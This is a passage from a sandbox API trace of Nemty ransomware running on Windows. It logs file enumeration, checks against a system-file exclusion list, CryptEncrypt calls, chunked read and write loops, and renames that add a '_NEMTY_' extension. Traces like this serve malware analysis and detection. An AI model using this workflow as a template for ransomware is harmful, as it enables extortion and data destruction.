lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0072.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0072.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0072.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0072.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0072.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403e0 [0072.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404a8 [0072.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0072.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0072.007] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png._nemty_kgobjgd_")) returned 0 [0072.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0072.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0072.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0072.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0072.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0072.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0072.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0072.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0072.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0072.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.008] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="performance.png", cAlternateFileName="")) returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2=".") returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="..") returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="...") returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="windows") returned -1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="$RECYCLE.BIN") returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="rsa") returned -1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="NTDETECT.COM") returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="ntldr") returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="MSDOS.SYS") returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="IO.SYS") returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="boot.ini") returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="boot.ini") returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="AUTOEXEC.BAT") returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="ntuser.dat") returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="desktop.ini") returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="CONFIG.SYS") returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="RECYCLER") returned -1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="BOOTSECT.BAK") returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="bootmgr") returned 1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="programdata") returned -1 [0072.008] lstrcmpiW (lpString1="performance.png", lpString2="appdata") returned 1 [0072.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="performance.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0072.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="performance.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="performance.png", lpUsedDefaultChar=0x0) returned 15 [0072.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0072.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="performance.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0072.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="performance.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="performance.png", lpUsedDefaultChar=0x0) returned 15 [0072.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0072.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="performance.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0072.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="performance.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="performance.png", lpUsedDefaultChar=0x0) returned 15 [0072.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="performance.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0072.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="performance.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="performance.png", lpUsedDefaultChar=0x0) returned 15 [0072.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0072.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0072.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0072.009] Sleep (dwMilliseconds=0x5) [0072.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xde937110, dwHighDateTime=0x1d561e7)) [0072.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xde937110, dwHighDateTime=0x1d561e7)) [0072.023] GetLastError () returned 0x5 [0072.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.023] GetLastError () returned 0x5 [0072.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0072.023] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0072.023] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0072.023] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0072.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0072.024] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="G8eC2gubCEPxTsRmjOEkUKIMdoj594LryVv8CeRhJlHgzM3EOWd6//Med+4ej6Wn\r\nKkgqfEC1KFlaWegeFk4KBHPIKrnT0AJ9jXSMnjwokKyQfRLp/2gnOJfCZtsV0CxD\r\nocTWhQnfk7SsDzjbXbLoKsRyEhG3koiyStpejpI9oXbYCd532tLZPe5WUhZme61E\r\nTOp1MxnC012MCjg98TtnfV3yj0L6U8xPlilG9JhTGFUvB3Uc41TVmnXUE3ldm3C7\r\nXL+TY6QGuia7u2r2vXXCjws4m4bXZIKAuWulx0+w0g1fLC21iX22d9eB3XAFD10f\r\nJvQw3aG+HqGZPYUJl0DXHQ==\r\n", pcchString=0x653e91c) returned 1 [0072.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0072.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0072.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0072.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0072.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0072.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0072.024] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0072.025] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0072.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0072.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.054] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.064] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.064] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.074] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.083] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.083] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.093] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.093] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.102] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.102] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.111] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.111] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.120] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.133] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0072.133] CloseHandle (hObject=0xffffffff) returned 0 [0072.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0072.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0072.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0072.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0072.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0072.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0072.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94248 [0072.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0072.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0072.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0072.133] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png._nemty_kgobjgd_")) returned 0 [0072.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0072.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0072.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0072.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0072.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0072.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0072.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0072.134] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2=".") returned 1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="..") returned 1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="...") returned 1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="windows") returned -1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="$RECYCLE.BIN") returned 1 [0072.134] lstrcmpiW 